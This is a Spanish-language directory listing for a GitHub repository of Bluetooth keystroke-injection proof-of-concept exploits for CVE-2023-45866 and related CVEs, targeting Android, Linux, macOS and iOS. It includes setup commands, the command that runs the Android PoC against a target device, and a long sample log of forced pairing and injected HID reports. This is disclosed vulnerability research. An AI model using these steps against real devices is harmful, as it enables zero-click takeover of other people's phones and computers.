Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
hi_my_name_is_keyboard — PoCs de exploits de inyección de pulsaciones de teclado por Bluetooth para CVE-2023-45866, CVE-2024-21306 y CVE-2024-0230 dirigidos a Android, Linux, macOS e iOS mediante teclados HID emulados. | Kitploit
Herramientas/GitHubGitHub/marcnewlin/hi_my_name_is_keyboard
Seguridad AndroidSeguridad BluetoothSeguridad iOSExplotaciónSeguridad InalámbricaSeguridad MóvilSeguridad de Hardware e IoTAtaque Adversario

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
marcnewlin/hi_my_name_is_keyboard

hi_my_name_is_keyboard

PoCs de exploits de inyección de pulsaciones de teclado por Bluetooth para CVE-2023-45866, CVE-2024-21306 y CVE-2024-0230 dirigidos a Android, Linux, macOS e iOS mediante teclados HID emulados.

Ver Repositorio
73111324hace 2 añosRevisado por Kitploit

Hola, me llamo Keyboard

Este repositorio contiene scripts de prueba de concepto para CVE-2023-45866, CVE-2024-21306 y CVE-2024-0230. Puedes encontrar más detalles en la publicación del blog.

Prueba de conceptoDescripción
Inyección de teclado en AndroidFuerza el emparejamiento de un teclado Bluetooth virtual con un dispositivo Android vulnerable e inyecta 10 segundos de pulsaciones de la tecla tab.
Inyección de teclado en LinuxFuerza el emparejamiento de un teclado Bluetooth virtual con un host Linux e inyecta 10 segundos de pulsaciones de la tecla tab.
Inyección de teclado en macOSFuerza el emparejamiento de un teclado Bluetooth virtual con un host macOS e inyecta pulsaciones de teclas para abrir un navegador web y realizar una búsqueda en Google.
Inyección de teclado en iOSFuerza el emparejamiento de un teclado Bluetooth virtual con un host iOS e inyecta pulsaciones de teclas para abrir un navegador web y navegar a una URL.
Inyección de teclado en WindowsFuerza el emparejamiento de un teclado Bluetooth virtual con un host Windows e inyecta pulsaciones de la tecla tab.
Clave de enlace del Magic Keyboard mediante el puerto LightningLee la clave de enlace Bluetooth desde el puerto Lightning de un Magic Keyboard.
Clave de enlace del Magic Keyboard mediante BluetoothLee la clave de enlace Bluetooth desde el servicio HID Bluetooth no autenticado del Magic Keyboard.
Clave de enlace del Magic Keyboard mediante el puerto USB del MacLee la clave de enlace Bluetooth de un Magic Keyboard objetivo suplantando el teclado por USB ante su Mac emparejado.

Dependencias

Se sabe que los scripts funcionan en un host con Ubuntu 22.04 y un adaptador Bluetooth basado en Broadcom.

Utilicé principalmente este adaptador: https://www.amazon.com/Kinivo-USB-Bluetooth-4-0-Compatible/dp/B007Q45EF4``` Bus 001 Device 026: ID 0a5c:21e8 Broadcom Corp. BCM20702A0 Bluetooth 4.0

A partir de una instalación limpia de Ubuntu 22.04, las dependencias pueden instalarse con los siguientes comandos.```
# update apt
sudo apt-get update
sudo apt-get -y upgrade

# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
                    git gcc python3-pip python3-setuptools \
                    python3-pydbus

# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install

# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/

Inyección de teclado

Inyección de teclado en Android

Los dispositivos Android son vulnerables antes del nivel de parche de seguridad del 2023-12-05.

Cuando Bluetooth está habilitado en un dispositivo Android sin parchear, un atacante puede emparejar un teclado Bluetooth emulado e inyectar pulsaciones de teclado, sin confirmación del usuario. Este es un ataque zero-click que funciona siempre que Bluetooth esté habilitado.

Versiones afectadas

Esta vulnerabilidad afecta a Android ~4.2.2 y versiones posteriores.

  • Android 4.2.2 - 10 no serán parcheados
  • Android 11 - 14 tienen parches disponibles (nivel de parche de seguridad del 2023-12-05)
  • Pixel 6, 7 y 8 fueron parcheados
  • Pixel 5 y anteriores siguen siendo vulnerables

Estado inicial

  • Bluetooth está habilitado en el dispositivo Android objetivo

Ejecutando el PoC

Ejecute el PoC dirigido al dispositivo Android 5C:F3:70:AA:07:BD utilizando la interfaz hci1.``` ./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD

Si tiene éxito, la PoC inyectará una carga útil de pulsaciones de tecla `tab` durante 10 segundos.

#### Salida de ejemplo```
> ./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD
[2024-01-07 11:03:01.329]  executing 'sudo service bluetooth restart'
[2024-01-07 11:03:01.959]  configuring Bluetooth adapter
[2024-01-07 11:03:01.963]  calling RegisterProfile
[2024-01-07 11:03:01.966]  running dbus loop
[2024-01-07 11:03:02.096]  executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard'
[2024-01-07 11:03:02.108]  executing 'hciconfig hci1 name'
[2024-01-07 11:03:02.128]  executing 'sudo hciconfig hci1 class 0x002540'
[2024-01-07 11:03:02.141]  executing 'hciconfig hci1 class'
[2024-01-07 11:03:02.144]  executing 'hcitool name 5C:F3:70:AA:07:BD'
[2024-01-07 11:03:02.877]  connecting to SDP
[2024-01-07 11:03:02.877]  connecting to 5C:F3:70:AA:07:BD on port 1
[2024-01-07 11:03:03.832]  SUCCESS! connected on port 1
[2024-01-07 11:03:03.832]  executing 'sudo btmgmt --index hci1 io-cap 1'
[2024-01-07 11:03:03.847]  executing 'sudo btmgmt --index hci1 ssp 1'
[2024-01-07 11:03:03.858]  connected to SDP (L2CAP 1) on target
[2024-01-07 11:03:03.865]  'NoInputNoOutput' pairing-agent is running
[2024-01-07 11:03:04.111]  connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:04.864]  ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:03:04.864]  connecting to 5C:F3:70:AA:07:BD on port 17
[2024-01-07 11:03:04.932]  SUCCESS! connected on port 17
[2024-01-07 11:03:04.932]  connecting to HID Interrupt
[2024-01-07 11:03:04.932]  connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:05.008]  SUCCESS! connected on port 19
[2024-01-07 11:03:05.008]  connected to HID Interrupt (L2CAP 19) on target
[2024-01-07 11:03:05.008]  connected to HID Control (L2CAP 17) on target
[2024-01-07 11:03:05.009]  [RX-17] 9000
[2024-01-07 11:03:05.009]  [TX-17] 00
[2024-01-07 11:03:05.065]  [RX-19] a20101
[2024-01-07 11:03:05.259]  [TX-19] a101000000000000000000
[2024-01-07 11:03:05.259]  injecting Tab keypresses for 10 seconds
[2024-01-07 11:03:05.259]  [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.264]  [TX-19] a101000000000000000000
[2024-01-07 11:03:05.318]  [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.323]  [TX-19] a101000000000000000000
[2024-01-07 11:03:05.377]  [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.382]  [TX-19] a101000000000000000000
[2024-01-07 11:03:05.436]  [TX-19] a10100002b000000000000
...
[2024-01-07 11:03:15.261]  [TX-19] a101000000000000000000
[2024-01-07 11:03:15.319]  payload has been transmitted; disconnecting Bluetooth HID client
[2024-01-07 11:03:15.321]  taking 'hci1' offline

Inyección de pulsaciones de teclado en Linux

Los hosts Linux que ejecutan BlueZ 5 son vulnerables antes de que se implementaran los parches, aproximadamente en diciembre de 2023. Los números de versión específicos dependen de la distribución de Linux.

Cuando un host Linux sin parchear es descubrible y conectable a través de Bluetooth, un atacante puede emparejar un teclado Bluetooth emulado e inyectar pulsaciones de teclado, sin confirmación del usuario. Este es un ataque de cero clics que funciona siempre que el host sea descubrible y conectable.

Versiones afectadas

Se entiende que esta vulnerabilidad afecta a las distribuciones de Linux sin parchear que utilizan la configuración predeterminada de BlueZ 5.

Google afirma que ChromeOS no se vio afectado por esta vulnerabilidad y, si bien ChromeOS no se probó como parte de esta investigación, su configuración de BlueZ parece prevenir el ataque.

Las distribuciones afectadas incluyen Ubuntu, Debian, Gentoo, Arch, Fedora, Red Hat, Yocto y Amazon Linux. Pueden verse afectadas múltiples versiones y, por ejemplo, Ubuntu parcheó las versiones 16.04, 18.04, 20.04, 22.04, 23.04 y 23.10.

Estado inicial

Descargar herramienta